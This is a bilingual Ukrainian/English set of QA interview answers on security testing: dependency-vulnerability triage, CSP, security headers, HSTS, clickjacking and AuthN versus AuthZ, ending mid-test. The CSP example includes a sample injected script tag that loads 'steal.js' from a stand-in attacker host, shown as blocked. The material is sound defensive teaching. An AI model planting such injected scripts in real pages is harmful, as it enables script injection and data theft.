Рішення під тиском релізу: Якщо алерт приходить напередодні релізу, варіантів зазвичай три: оновити залежність і провести цільову регресію; закрити ризик без оновлення (вимкнути вразливу функцію фіче-флагом, додати правило на WAF або валідацію вхідних даних) і оновитися в наступному спринті; або перенести реліз. Я допомагаю обрати, спираючись на факти: чи досяжний вразливий код з нашого продукту, чи є публічний експлойт і чи CVE вже активно експлуатується, чи сервіс відкритий в інтернет, наскільки великий дифф оновлення та яке покриття тестами має зачеплена частина. Якщо ризик свідомо приймається, це фіксується письмово з власником рішення і датою, до якої оновлення має відбутися, а після інциденту я додаю в регресію тест, що перевіряє саме цей шлях.

Уточнююче питання: Як ви визначаєте обсяг регресійного тестування, коли розробники оновлюють бібліотеку, що покриває весь застосунок (наприклад, React або Express)?

What it is: Security alerts concerning vulnerable dependencies are typically generated by continuous integration scanners like Dependabot, Snyk, or native tools like npm audit when a known CVE is matched against the project's dependency tree. A robust QA protocol dictates that we don't blindly or frantically merge library updates. Instead, the process involves analytical triage: understanding if the vulnerability is actually exploitable within the application's unique context, assessing the regression risk of the library update (potential breaking changes), and executing targeted test suites to confirm that the business logic remains perfectly intact post-update.

Why/when: Whenever an alert fires—especially one marked as critical severity—the engineering team is often bound by compliance SLAs to remediate it rapidly. However, thoughtlessly bumping underlying dependencies can severely break operational code. The QA engineer acts as a critical safety gate in this pipeline. We meticulously analyze the specific scope of the vulnerability and strategically formulate a regression test plan focusing intensely on the application segments that touch the upgraded dependency. This protocol is executed perpetually, as new CVEs are disclosed continuously across the software landscape.

Real project example: Our automated CI pipeline via Snyk flagged a severe Server-Side Request Forgery (SSRF) vulnerability within the axios library used heavily in our microservices. My systematic QA approach was: First, I reviewed the CVE documentation to understand the precise exploit conditions. Second, I assessed our codebase and determined we never allowed users to arbitrarily construct request URLs, significantly minimizing the immediate threat surface. Third, after developers performed the minor version upgrade, I triggered our deep automated API regression suite and executed exploratory smoke testing specifically around file fetching endpoints to guarantee network requests functioned flawlessly under the patched version.

Pitfalls: A massive pitfall is structural apathy, where QA dismisses dependency alerts entirely as an "ops or DevSecOps problem" requiring no testing. Conversely, performing massive major-version upgrades of core frameworks (like Angular or Express) simply to patch a low-impact CVE without extensive regression testing will almost inevitably cause catastrophic functional failures in production. Sometimes, actively managing the risk and accepting a non-exploitable vulnerability is a far superior business decision than rushing a massive, destabilizing framework update.

Deciding under release pressure: When the alert arrives the day before a release, there are usually three options: upgrade the dependency and run a targeted regression; mitigate without upgrading (switch the vulnerable feature off with a feature flag, add a WAF rule or input validation) and upgrade next sprint; or postpone the release. I help choose based on facts: whether the vulnerable code is reachable from our product, whether a public exploit exists and the CVE is already exploited in the wild, whether the service is internet-facing, how big the upgrade diff is, and how well the affected area is covered by tests. If the risk is knowingly accepted, it is recorded in writing with an owner and a date by which the upgrade must happen, and afterwards I add a regression test for that exact path.

Clarifying question: How do you objectively determine the necessary scope of regression testing when engineering bumps a foundational library that practically every module in the application relies upon?

Приклад / конфігурація:
Example / configuration:
# Step 1: Identify vulnerabilities
npm audit

# Step 2: Update the specific package (developer action)
npm install axios@latest

# Step 3: Run targeted test suite suite (QA action)
npx playwright test --project=api --grep="@network"
💡 Що тут відбувається: Команди в терміналі ілюструють флоу: спершу запуск аудиту для виявлення вразливості, потім оновлення конкретного пакета, і насамкінець цілеспрямований запуск тестів (наприклад, усіх, що стосуються мережевих викликів), щоб перевірити відсутність регресії.
💡 What is happening here: These terminal commands illustrate a standard workflow: initiating an audit to expose the vulnerability, updating the affected package specifically, and finally triggering a highly targeted subset of automated tests (like those tagged for network operations) to adamantly verify zero regression.
🗣 Як читати вголос: Коли прилітає алерт про вразливість у якійсь бібліотеці, найгірше, що можна зробити — це бездумно натиснути кнопку апдейт. Мій порядок дій такий: спочатку ми сідаємо з розробниками і дивимось, а чи взагалі ми використовуємо ту проблемну функцію? Наприклад, якщо дірка в модулі парсингу XML, а ми працюємо тільки з JSON, то паніка скасовується. Якщо ми вирішили оновлювати залежність, я дивлюсь, чи це мінорне оновлення, чи мажорне. Якщо змінилася тільки остання цифра, я проганяю базовий набір смоук-тестів на фічу, яка цю лібу юзає. Але якщо змінилась мажорна версія, тут вибачте, потрібна повноцінна кругова регресія, бо могло відвалитися абсолютно будь-що через супутні зміни. А якщо все це стається напередодні релізу, я приношу команді факти для рішення: чи досяжна вразливість, чи є публічний експлойт, чи можна тимчасово закрити ризик фіче-флагом, — і прийняття ризику фіксуємо письмово з власником і датою.
🗣 How to say it out loud: When an automated scanner screams about a vulnerable dependency, the absolute worst reflex is to instantly hit the update button and pray. My protocol is much more surgical. First, I huddle with the developers to confirm if we even touch the vulnerable execution path. If the flaw is in an XML parser but we exclusively use JSON payloads, the panic is officially off. Once we agree to apply the patch, I heavily scrutinize the version drift. If it's a tiny patch-level bump, I’ll run a focused smoke suite around the affected component. But if it's a major version upgrade to squash a bug, we slam the brakes and run comprehensive, full-scale regression testing, because breaking changes likely hitched a ride with the security fix. And if this happens the day before a release, I bring the team the facts for the decision — whether the flaw is reachable, whether a public exploit exists, whether a feature flag can contain the risk for now — and any accepted risk is written down with an owner and a date.
7 Що таке Content Security Policy (CSP)?What is Content Security Policy (CSP)?
Middle▶

Що це: Content Security Policy (CSP) — це потужний механізм захисту браузера, реалізований через HTTP-заголовки. Він дозволяє власникам веб-сайтів жорстко контролювати і декларувати, з яких саме джерел браузеру дозволено завантажувати і виконувати ресурси (скрипти, стилі, зображення, шрифти) на конкретній сторінці. CSP є одним з найнадійніших методів захисту сучасних систем від атак типу Cross-Site Scripting (XSS), махінацій з даними та ін'єкцій шкідливого коду, оскільки браузер просто заблокує будь-яке невідоме джерело.

Навіщо/коли: Без налаштованого CSP браузер довіряє будь-якому скрипту, який з'являється у HTML (навіть якщо він був впроваджений хакером через коментар). Якщо політика CSP активна, розробник, скажімо, забороняє виконання "inline" скриптів (тих, що всередині тегу <script> в HTML) та дозволяє брати скрипти лише зі свого домену та надійних CDN. Кожен більш-менш серйозний проєкт вимагає CSP для відповідності стандартам безпеки. QA обов'язково має перевіряти наявність цього заголовку в інструментах розробника (Network tab) та тестувати, чи не блокує він легітимні скрипти (наприклад, аналітику чи віджети підтримки).

Приклад з реального проєкту: На проєкті ми інтегрували сторонній чат-підтримки (Intercom), але після релізу він не з'явився на сайті. У консолі розробника браузер підкреслив помилку червоним: "Refused to load the script because it violates the following Content Security Policy directive". Виявилося, що наш CSP заголовок обмежував виконання скриптів лише за власним доменом (script-src 'self'). Щоб виправити це, розробники мусили розширити політику: script-src 'self' https://widget.intercom.io/, що я потім успішно протестував, переконавшись, що інші сумнівні посилання так і лишаються заблокованими.

Підводні камені: Найпоширеніший підводний камінь — це налаштування CSP в режим "wildcard" (*). Якщо політика виглядає як default-src *, вона абсолютно марна. Друга проблема полягає в тому, що після ввімкнення суворого CSP часто ламаються сторонні інструменти (Google Analytics, Hotjar) або старі legacy-скрипти команди, які використовували вбудовані обробники onclick. Тестувальник має ретельно перевіряти консоль браузера на наявність повідомлень про порушення CSP після будь-яких змін в інфраструктурі.

Уточнююче питання: Чи використовуєте ви режим Report-Only для впровадження нових правил CSP, щоб зібрати статистику перед жорстким блокуванням ресурсів?

What it is: Content Security Policy (CSP) is a robust, browser-level defense mechanism enforced via HTTP response headers. It empowers website administrators to explicitly declare approved sources from which the browser is permitted to load and execute dynamic resources, such as JavaScript files, stylesheets, images, and fonts. By essentially creating a strict "allowlist" of trusted origins, CSP acts as an incredibly potent secondary layer of defense, neutralizing massive classes of modern vulnerabilities entirely, significantly mitigating Cross-Site Scripting (XSS) and data injection attacks.

Why/when: Traditionally, browsers implicitly trust any script code delivered within the requested HTML document, cheerfully executing malicious payloads injected through comment sections or hijacked databases. A strongly configured CSP fundamentally breaks this assumption; it outright bans dangerous practices like inline scripts (<script>...</script>) and the treacherous eval() function, forcing all executable logic into managed, external files sourced exclusively from approved domains. Modern, security-conscious applications demand a rigorous CSP. QA engineers must inspect the Network tab and browser Console to verify the header is active and correctly calibrated to not inadvertently shatter legitimate business tooling.

Real project example: Our team launched a major dashboard update featuring a shiny new third-party telemetry widget. Almost immediately, customer support exploded with complaints that the widget wasn't rendering. Upon inspecting the browser DevTools Console, I spotted a glaring red error: "Refused to load the script because it violates the Content Security Policy directive." Our aggressive baseline script-src 'self' policy had blocked the external widget. The development team amended the header to script-src 'self' https://trusted-telemetry.com, after which I verified the widget functioned without inadvertently opening the door to generalized external script execution.

Pitfalls: A notoriously common error is implementing a purely theatrical CSP saturated with wildcards (default-src *), rendering the protection mathematically useless. Furthermore, immediately enforcing a highly restrictive policy on a legacy application almost guarantees breaking internal analytics, marketing pixels, and legacy inline event handlers (like onclick="doSomething()"). Testers frequently fail to monitor the browser Console for silent CSP violations, leading to insidious, hard-to-diagnose functional regressions triggered strictly by rigid security parameters.

Clarifying question: When deploying stringent CSP updates, do you utilize the Content-Security-Policy-Report-Only header to safely aggregate violation telemetry without forcefully blocking user-facing resources?

Приклад / конфігурація:
Example / configuration:
<!-- Server sets this header in the HTTP response -->
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none'

<!-- Browser will EXECUTE this (comes from trusted-cdn.com) -->
<script src="https://trusted-cdn.com/app.js"></script>

<!-- Browser will BLOCK this (hacker injected, violates 'self') -->
<script src="http://evil-cors-site.com/steal.js"></script>

<!-- Browser will BLOCK this (inline scripts are disabled by default in CSP) -->
<script>alert('XSS');</script>
💡 Що тут відбувається: Сервер надсилає заголовок CSP, який дозволяє вантажити скрипти лише з власного домену та trusted-cdn.com. Коли браузер рендерить сторінку, він блокує скрипт хакера з віддаленого шкідливого сервера, а також блокує небезпечний inline-скрипт. Легітимний скрипт виконується успішно.
💡 What is happening here: The server transmits a CSP header restricting executable scripts exclusively to its own domain and trusted-cdn.com. During rendering, the browser adamantly blocks the attacker's script originating from a foreign malicious domain, as well as forbidding any dangerous inline script blocks. The approved legitimate script runs flawlessly.
🗣 Як читати вголос: Сі-Ес-Пі — це ніби фейс-контроль у клубі для всіх скриптів і картинок на сайті. Якщо сервер передає цей заголовок, то браузер знає: довіряти можна тільки цьому списку сайтів. Це супер крутий захист від ікс-ес-ес атак. Хакери можуть знайти спосіб вставити свій шкідливий скрипт у коментар або повідомлення. Але якщо ми маємо нормальний Сі-Ес-Пі, то браузер просто скаже: "Я не знаю цього джерела, тому не буду виконувати цей код". Для тестувальника це цікава тема, бо коли на проєкт додають якусь нову аналітику чи чат від сторонніх провайдерів, вони тупо не працюють, поки ми не дозволимо їх у Сі-Ес-Пі. Я завжди дивлюсь у консоль, чи немає там червоних помилок про блокування лінивих скриптів.
🗣 How to say it out loud: Think of C-S-P as a ruthless bouncer stationed directly inside the browser inspecting every single script attempting to execute on your page. By broadcasting this header, the server commands the browser to actively block and destroy any resources originating from unauthorized domains. It absolutely neuters cross-site scripting attacks because even if a hacker successfully injects a malicious script tag into the page, the browser will refuse to run it. From a QA perspective, C-S-P is a frequent culprit for functional breakage. Whenever marketing asks us to sprinkle a new analytics tracker onto the site, it will inevitably crash and burn in the browser console until we officially whitelist the vendor's domain in the C-S-P header.
8 Що перевіряти в security-заголовках сторінки?What to check in page security headers?
Middle▶

Що це: Security-заголовки (Security Headers) — це набір HTTP-заголовків, які сервер додає до своєї відповіді, щоб вказати браузеру, як правильно захищати сторінку та користувача від поширених загроз. Основні заголовки, на які звертають увагу: Strict-Transport-Security (HSTS) захищає від пониження HTTPS до HTTP, X-Frame-Options блокує клікджекінг (clickjacking), не дозволяючи вбудовувати ваш сайт у iframe, X-Content-Type-Options: nosniff змушує браузер не вгадувати MIME-тип файлів і чекати чіткої відповідності, а також згаданий раніше Content-Security-Policy (CSP).

Навіщо/коли: Перевірка заголовків безпеки — це найшвидший і найпростіший спосіб посилити базову безпеку веб-застосунку. Їх відсутність автоматично розцінюється сканерами як вразливість низького або середнього рівня. Наприклад, якщо ваш сайт не має X-Frame-Options, хакер може створити невидимий iframe з вашим сайтом, розмістити поверх нього свої кнопки на фальшивому сайті і змусити користувача клікнути на них (таким чином перевівши гроші або видаливши акаунт). Слід завжди тестувати ці конфігурації у перших циклах релізу.

Приклад з реального проєкту: На одному фінансовому дашборді ми мали проблеми з безпекою: аудит виявив відсутність Strict-Transport-Security. Це означало, що перший вхід користувача міг відбуватися по незахищеному HTTP, дозволяючи перехоплення сесії. Я написав Postman-скрипт, який просто робив GET запит до головної сторінки і перевіряв наявність Strict-Transport-Security, X-Frame-Options (значення DENY або SAMEORIGIN) та відсутність технологічних заголовків на кшталт X-Powered-By: Express (які можуть видати версію сервера хакерам). Ці тести інтегрували в CI пайплайн.

Підводні камені: Основна трудність — знайти баланс між безпекою та бізнес-потребами. Повний DENY для X-Frame-Options зламає функціональність, якщо вашому сервісу дійсно потрібно, щоб клієнти вбудовували його через iframe. Тоді треба переходити на використання директиви frame-ancestors в CSP. Ще одна помилка: тестувальники перевіряють заголовки тільки на головній сторінці, забуваючи, що бекенд може віддавати зовсім інші політики для статичних файлів або специфічних API-ендпоінтів.

Уточнююче питання: Чи є у вашій системі автоматизована валідація 필수 HTTP заголовків безпеки на рівні API гейтвею або балансувальника навантаження?

What it is: Security headers comprise a specialized subset of HTTP response headers actively dispensed by a web server, explicitly instructing modern browsers on how to fortify the client-side session against pervasive threat vectors. Fundamental pillars include Strict-Transport-Security (HSTS), which adamantly forbids downgrading secure HTTPS connections to plaintext HTTP; X-Frame-Options, which viciously combats clickjacking attacks by aggressively regulating if the application can be encapsulated within an iframe; and X-Content-Type-Options: nosniff, which forcefully commands the browser to respect declared document MIME types rather than dangerously guessing them.

Why/when: Interrogating and enforcing security headers is arguably the most rapid, universally effective low-hanging fruit in web architecture hardening. Their absence is universally flagged by automated vulnerability scanners and penetration testers as a baseline operational failing. For instance, neglecting the X-Frame-Options directives allows an attacker to orchestrate devastating clickjacking campaigns—overlaying a transparent, malicious user interface weaponized on top of your legitimate application, tricking unsuspecting users into executing authorized transfers or irreversible account deletions. QA must continuously enforce these configurations immediately upon initial environment deployment.

Real project example: During an architectural review of a sensitive financial ledger application, I discovered our authentication endpoints lacked crucial defense-in-depth headers. Recognizing the severity, I utilized Playwright to construct an automated regression module. This script intentionally fired generic GET requests targeting the production load balancer, strictly asserting the presence of Strict-Transport-Security, requiring X-Frame-Options to strictly evaluate to DENY, and aggressively failing the build if legacy information-leaking headers (such as X-Powered-By: PHP or Server: Apache) were inexplicably broadcasted to external networks.

Pitfalls: The most complicated entanglement is bridging the massive chasm between theoretical maximum security and pragmatic business logic. Setting X-Frame-Options: DENY universally will instantly paralyze your platform if your core business involves supplying embeddable widgets for external partners (where you must pivot to sophisticated CSP frame-ancestors policies). Furthermore, QA teams mistakenly evaluate headers exclusively against the application's root URL, completely ignoring the fact that downstream microservices, static asset storage bubbles, and distinct API controllers often broadcast dangerously disparate, unprotected HTTP profiles.

Clarifying question: Does your operational continuous integration pipeline actively block deployments if the routing layer completely fails to broadcast mandatory security baseline headers?

Приклад / конфігурація:
Example / configuration:
// Testing security headers using Postman
pm.test("Security headers are present", function () {
    pm.response.to.have.header("Strict-Transport-Security");
    pm.response.to.have.header("X-Content-Type-Options", "nosniff");
    pm.response.to.have.header("X-Frame-Options", "SAMEORIGIN");
});

pm.test("Information leak headers are absent", function () {
    // Ensure backend technology is not exposed
    pm.expect(pm.response.headers.has("X-Powered-By")).to.be.false;
    pm.expect(pm.response.headers.has("Server")).to.be.false;
});
💡 Що тут відбувається: Короткий скрипт для Postman, який перевіряє безпекову гігієну відповіді. Він стверджує, що необхідні заголовки (як от захист від клікджекінгу) наявні з правильними значеннями, і водночас переконується, що сервер не видає свою технологічну базу (наприклад, фреймворк чи версію nginx) через непотрібні заголовки.
💡 What is happening here: This concise Postman assertion block actively enforces baseline security hygiene logic. It strictly confirms that mission-critical protective headers (like anti-clickjacking) are accurately populated, while simultaneously asserting that the server forcefully suppresses technology-disclosing headers (avoiding trivial server fingerprinting).
🗣 Як читати вголос: Хедери безпеки — це найпростіша і найдешевша лінія оборони. По суті, це просто вказівки сервера браузеру: "Слухай, не пускай мене в айфрейми", "Спілкуйся зі мною тільки по HTTPS" або "Не вигадуй тип контенту на льоту". Якщо цих заголовків немає, сканери одразу починають кричати. Моя улюблена перевірка — це клікджекінг за допомогою Ікс фрейм опшнс. Дуже легко перевірити: створюєш пустий HTML файл, вставляєш туди айфрейм на свій сайт, і якщо він відкриється, значить є дірка. Також я завжди дивлюсь, чи приховуємо ми заголовок Ікс пауерд бай, бо хакерам не треба знати точну версію нашого Експрес чи Апачі.
🗣 How to say it out loud: Security headers represent the absolute cheapest and most universally effective line of defense. Fundamentally, they are direct rules the server yells to the browser, demanding things like, "Never render my application wrapped in an iframe," or "Absolutely refuse to negotiate an insecure HTTP connection under any circumstances." If you neglect embedding these headers, professional auditing tools will instantly humiliate you. My absolute favorite configuration to validate is X Frame Options to neutralize clickjacking. You construct a dummy HTML file, inject a basic iframe pointing at your production domain, and if it flawlessly renders, your architecture is bleeding vulnerability. I also adamantly ensure we rip out technology-detecting headers like X Powered By, because we absolutely shouldn't be broadcasting our framework blueprint to automated reconnaissance scanners.
9 Що таке HSTS і чому він важливий?What is HSTS and why is it important?
Middle▶

Що це: HTTP Strict Transport Security (HSTS) — це механізм веб-безпеки, який змушує браузери взаємодіяти з сервером виключно через безпечне HTTPS-з'єднання. Коли сервер надсилає заголовок Strict-Transport-Security, браузер запам'ятовує це правило на вказаний час і автоматично перетворює всі HTTP-запити на HTTPS ще до того, як вони покинуть клієнт. Це фундаментальний захист від багатьох атак, що експлуатують небезпечні канали.

Навіщо/коли: HSTS критично важливий для захисту від атак типу Man-in-the-Middle (MitM) та SSL-stripping, коли зловмисник намагається перехопити трафік або понизити з'єднання з HTTPS до незашифрованого HTTP. Він також захищає від перехоплення cookies сесії (якщо вони не мають прапорця Secure, хоча HSTS і Secure доповнюють один одного). Впроваджується на будь-якому ресурсі, який працює з чутливими даними, фінансами або автентифікацією користувачів.

Приклад з реального проєкту: Під час тестування банківського веб-застосунку ми перевіряли конфігурацію продакшен-сервера за допомогою сканера OWASP ZAP або curl. З'ясувалося, що на головній сторінці заголовок був відсутній, що робило перше відвідування вразливим до перехоплення. Після репорту DevOps-команда додала заголовок HSTS з директивою includeSubDomains, і всі субдомени, включаючи api.bank.com, також стали вимагати суворого HTTPS.

Підводні камені: Основний недолік — уразливість "першого дотику" (First Use), коли браузер ще не знає про HSTS для даного домену під час першого HTTP-візиту. Для вирішення цього існує HSTS Preload List, який вбудовується безпосередньо в браузери. Інший камінь — неправильно налаштований max-age (занадто короткий) або випадкове включення includeSubDomains на доменах, які ще не повністю перейшли на HTTPS, що призводить до їхньої повної недоступності.

Уточнююче питання: Чи використовуєте ви директиву preload у вашому заголовку HSTS, і які кроки потрібні, щоб додати домен до глобального списку передвстановленого HSTS у браузерах Chrome і Firefox?

What it is: HTTP Strict Transport Security (HSTS) is a web security policy mechanism that forces web browsers to interact with a server strictly via secure HTTPS connections. When the server sends the Strict-Transport-Security header, the browser caches this rule for a specified duration and automatically upgrades all unsecured HTTP requests to HTTPS before they even leave the client. It is a fundamental shield against attacks exploiting insecure channels.

Why/when: HSTS is critically important to mitigate Man-in-the-Middle (MitM) and SSL-stripping attacks, where an attacker intercepts traffic or attempts to downgrade a connection from HTTPS to unencrypted HTTP. It also helps prevent session cookie hijacking if cookies lack the Secure flag (though HSTS and Secure complement each other). It should be implemented on any resource dealing with sensitive data, finance, or user authentication.

Real project example: While testing a banking web application, we verified the production server configuration using an OWASP ZAP scanner and curl. We discovered the header was missing on the landing page, making the initial visit vulnerable to interception. Following the bug report, the DevOps team added the HSTS header with the includeSubDomains directive, ensuring all subdomains like api.bank.com also mandated strict HTTPS.

Pitfalls: The primary drawback is the Trust on First Use (TOFU) vulnerability, where the browser doesn't yet know about the HSTS policy during the very first HTTP visit. The HSTS Preload List, hardcoded into modern browsers, solves this. Another pitfall is misconfiguring max-age (setting it too low) or accidentally applying includeSubDomains when some legacy subdomains still rely on HTTP, resulting in total breakage of those domains.

Clarifying question: Do you include the preload directive in your HSTS header, and what is the process for submitting a domain to the global HSTS preload list maintained by browser vendors like Google Chrome?

Приклад / конфігурація:
Example / configuration:
HTTP/1.1 200 OK
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# Checking via bash script with curl
curl -s -I https://example.com/ | grep -i "Strict-Transport-Security"
💡 Що тут відбувається: Сервер у своїй HTTP-відповіді надсилає заголовок HSTS. Значення max-age=31536000 каже браузеру запам'ятати правило на 1 рік (у секундах). includeSubDomains поширює його на всі піддомени, а preload дозволяє додати сайт до хардкодного списку безпечних доменів у браузерах. Далі показано команду curl для перевірки наявності цього заголовка.
💡 What is happening here: The server sends the HSTS header in its HTTP response. The max-age=31536000 directive tells the browser to cache this rule for 1 year (in seconds). includeSubDomains applies the rule to all subdomains, while preload allows the site to be submitted to hardcoded secure domain lists in browsers. Below is a curl command checking for this header.
🗣 Як читати вголос: HSTS — це заголовок, що змушує браузер спілкуватися з сервером тільки по HTTPS. Це крутий захист від SSL stripping та MitM-атак. Я часто перевіряю його наявність через curl або в консолі розробника, щоб переконатися, що max-age заданий хоча б на рік, і включено директиву includeSubDomains. Головне — бути обережним і не розкотити includeSubDomains, якщо в нас ще залишилися старі HTTP-піддомени, інакше вони просто перестануть відкриватись.
🗣 How to say it out loud: HSTS is a response header that forces the browser to communicate with the server solely over HTTPS. It's a great defense against SSL stripping and MitM attacks. I usually check for it using curl or the browser DevTools to ensure the max-age is set to at least a year and the includeSubDomains directive is present. The main thing is to be careful not to roll out includeSubDomains if we still have legacy HTTP subdomains, or they'll stop working.
10 Що таке clickjacking та заголовок X-Frame-Options?What is clickjacking and the X-Frame-Options header?
Junior▶

Що це: Clickjacking (викрадення кліків) — це шкідлива техніка, за якої зловмисник приховує невидимий iframe з цільовим веб-сайтом поверх видимої привабливої сторінки. Користувач думає, що клікає на кнопку (наприклад, "Отримати приз"), але насправді клікає на приховану кнопку (наприклад, "Видалити акаунт" або "Здійснити платіж") на вразливому сайті, де він уже авторизований. X-Frame-Options — це HTTP-заголовок для захисту від цієї атаки.

Навіщо/коли: Цей вектор атаки зустрічається в застосунках, які дозволяють вбудовувати свої сторінки в чужі iframe. Захист потрібно впроваджувати завжди, особливо якщо на сторінці є кнопки, що змінюють стан системи або ініціюють фінансові транзакції. Заголовок X-Frame-Options (та сучасна альтернатива Content-Security-Policy: frame-ancestors) каже браузеру, чи має він право рендерити сторінку всередині фрейму на іншому домені.

Приклад з реального проєкту: На проєкті внутрішньої ERP-системи ми виявили, що сторінка "Зміна пароля" може бути відкрита у фреймі. Ми написали простий PoC (Proof of Concept) у вигляді HTML-файлу з iframe, що вказував на цю сторінку. Показали розробникам, як легко можна підкласти прозорий фрейм під курсор миші. Після цього вони додали заголовок X-Frame-Options: SAMEORIGIN, і наш PoC у браузері видав помилку блокування.

Підводні камені: Заголовок X-Frame-Options є дещо застарілим і має лише три опції (DENY, SAMEORIGIN, ALLOW-FROM), причому ALLOW-FROM підтримується не всіма сучасними браузерами. Гнучкіше і надійніше використовувати директиву frame-ancestors у Content-Security-Policy (CSP), яка дозволяє вказати кілька конкретних доменів. Також треба бути обережним з DENY, якщо ваш додаток легітимно використовує мікрофронтенди через фрейми.

Уточнююче питання: Замість X-Frame-Options, чи розглядаєте ви впровадження Content Security Policy з директивою frame-ancestors для більш тонкого налаштування дозволених джерел фреймування?

What it is: Clickjacking is a malicious technique where an attacker overlays an invisible iframe containing a target website on top of a deceptive page. The user thinks they are clicking a benign button (like "Win a prize") but is actually clicking a hidden button (e.g., "Delete account" or "Transfer funds") on the vulnerable site where they are authenticated. X-Frame-Options is an HTTP response header designed to prevent this exact attack.

Why/when: This attack vector targets web applications that loosely allow their pages to be embedded inside third-party iframes. Protection must be implemented proactively, especially on pages containing state-changing actions or financial transactions. The X-Frame-Options header (and its modern successor, Content-Security-Policy: frame-ancestors) instructs the browser whether it is allowed to render the page within a frame context.

Real project example: While testing an internal ERP application, we discovered that the "Change Password" page could be embedded in an iframe. We created a quick HTML Proof of Concept with an iframe pointing to that sensitive endpoint and demonstrated how easily a transparent frame could follow the user's cursor. Developers subsequently implemented the X-Frame-Options: SAMEORIGIN header, causing our PoC to fail and the browser to block the render.

Pitfalls: The X-Frame-Options header is somewhat legacy and restrictive, offering only DENY, SAMEORIGIN, and the poorly-supported ALLOW-FROM directives. A more robust and flexible approach is using the Content-Security-Policy (CSP) frame-ancestors directive, which lets you whitelist multiple specific domains safely. Exercise caution when using DENY if your architecture legitimately relies on iframe-based micro-frontends.

Clarifying question: Instead of relying solely on X-Frame-Options, have we considered implementing a granular Content Security Policy with the frame-ancestors directive to manage cross-domain framing?

Приклад / конфігурація:
Example / configuration:
# Testing security headers using curl
curl -I https://api.myapp.com/profile

HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' https://trusted.com;
💡 Що тут відбувається: Ми робимо HEAD-запит за допомогою команди curl -I. У відповіді сервер повертає два заголовки захисту. X-Frame-Options: SAMEORIGIN дозволяє вбудовувати сторінку у фрейми лише сторінкам з того ж самого домену. А заголовок CSP frame-ancestors 'self' https://trusted.com робить те саме більш сучасним способом, додатково дозволяючи вбудовування з певного довіреного домену.
💡 What is happening here: We perform a HEAD request using the curl -I command. The server responds with two defensive headers. X-Frame-Options: SAMEORIGIN permits embedding the page in iframes only if the requesting site shares the exact same origin. The CSP header frame-ancestors 'self' https://trusted.com updates this policy by elegantly allowing embedding from the same origin as well as an explicitly trusted domain.
🗣 Як читати вголос: Клікджекінг — це коли зловмисник ховає наш сайт у невидимому айфреймі і змушує клієнта несвідомо клікнути на важливу кнопку, наприклад, переказ грошей. Щоб цьому запобігти, ми використовуємо заголовки X-Frame-Options і CSP frame-ancestors. Зазвичай я роблю просту HTML-сторінку з фреймом, щоб перевірити, чи вдасться вбудувати нашу апку, і якщо так — заводжу тікет. Для сучасних додатків я завжди рекомендую саме frame-ancestors, бо він гнучкіший.
🗣 How to say it out loud: Clickjacking is when an attacker hides our site in an invisible iframe to trick a user into clicking a critical button, like transferring funds, without knowing it. To prevent this, we configure the X-Frame-Options and CSP frame-ancestors headers. I typically verify it by whipping up a simple HTML page with an iframe pointing to our app, and if it loads, I file a bug ticket. For modern applications, I highly push the frame-ancestors directive because it's far more flexible.
▶ 2 9
11 Authentication vs Authorization: у чому різниця?Authentication vs Authorization: what's the difference?
Junior▶

Що це: Це дві фундаментально різні концепції контролю доступу. Автентифікація (Authentication, AuthN) перевіряє "Хто ти?" — ідентифікує користувача, переконуючись, що він є тим, за кого себе видає (наприклад, через логін і пароль). Авторизація (Authorization, AuthZ) перевіряє "Що тобі дозволено?" — визначає права доступу ідентифікованого користувача до певних ресурсів чи дій (наприклад, чи може цей користувач видалити файл).

Навіщо/коли: Розуміння різниці необхідне для правильного тестування безпеки. Баги автентифікації — це зазвичай можливість зайти в систему без пароля або підробити токен (обходиться сама перевірка особи). Баги авторизації (в тому числі IDOR, Broken Access Control) — це коли ви успішно залогінились як Вася, але маєте можливість змінити профіль Петра або зайти в панель адміністратора. Ці речі тестуються різними тест-кейсами.

Приклад з реального проєкту: На платформі для HR-менеджерів ми розділили кейси перевірки. Спочатку тестували автентифікацію: слабкі паролі, багато спроб входу (brute force), перехоплення сесії, неправильна інвалідація JWT. Потім перейшли до авторизації: маючи дві ролі, 'Employee' та 'HR', я писав API-тести в Playwright, які намагалися надіслати POST /api/salaries, бувши залогіненим під Employee. Очікуваною відповіддю був статус 403 Forbidden, а не 200 OK.

Підводні камені: Найбільша плутанина виникає зі статускодами HTTP. 401 Unauthorized насправді означає "Unauthenticated" (ти не залогінений, ми не знаємо, хто ти). А 403 Forbidden означає "Unauthorized" (ми знаємо, хто ти, але тобі туди не можна). Крім того, розробники часто імплементують AuthN централізовано, а перевірки AuthZ розмазують по всьому коду бізнес-логіки, що робить авторизацію головним джерелом вразливостей.

Уточнююче питання: Яка система контролю доступу (RBAC або ABAC) використовується на проєкті і в яких місцях ми повинні перевіряти перетини ролей?

What it is: These are two fundamentally different access control concepts. Authentication (AuthN) verifies "Who are you?"—it identifies the user, ensuring they are indeed who they claim to be (e.g., using a username and password). Authorization (AuthZ) verifies "What are you allowed to do?"—it determines the permissions and access levels of an identified user for specific resources or actions (e.g., assessing whether the user can delete a document).

Why/when: Grasping the distinction is essential for proper security testing. Authentication bugs typically involve bypassing login completely or forging a session token (breaking the identity check). Authorization bugs (including Broken Access Control and IDOR) occur when you log in successfully as User A but are able to edit the profile of User B or access the admin panel. These require entirely different testing paradigms.

Real project example: On an HR management platform, we compartmentalized our test suites. First, we targeted AuthN by testing weak password policies, brute-force protections, and token invalidation flaws. Next, we pivoted to AuthZ: armed with both 'Employee' and 'HR' roles, I authored Playwright API tests injecting POST /api/salaries requests while authenticated as an Employee. The assertion demanded a 403 Forbidden status, ensuring the action was explicitly blocked.

Pitfalls: The biggest source of confusion stems from standard HTTP status codes. A 401 Unauthorized response actually means "Unauthenticated" (you haven't logged in, we don't know who you are). Conversely, a 403 Forbidden response signifies "Unauthorized" (we know exactly who you are, but you lack the necessary permissions). Furthermore, while AuthN is often handled centrally, AuthZ logic is notoriously scattered across the business logic, leading to frequent vulnerabilities.

Clarifying question: Is our application architecture relying on Role-Based Access Control (RBAC) or Attribute-Based (ABAC), and how do we handle overlapping role permissions?

Приклад / конфігурація:
Example / configuration:
test('Employee cannot access HR endpoints', async ({ request }) => {
  // 1. AuthN: Get valid token for employee
  const empToken = await login('employee_1');
  
  // 2. AuthZ: Access restricted endpoint
  const response = await request.post('/api/salaries', {
    headers: { 'Authorization': `Bearer ${empToken}` }
  });
  
  // Should be 403 Forbidden, not 401 Unauthorized
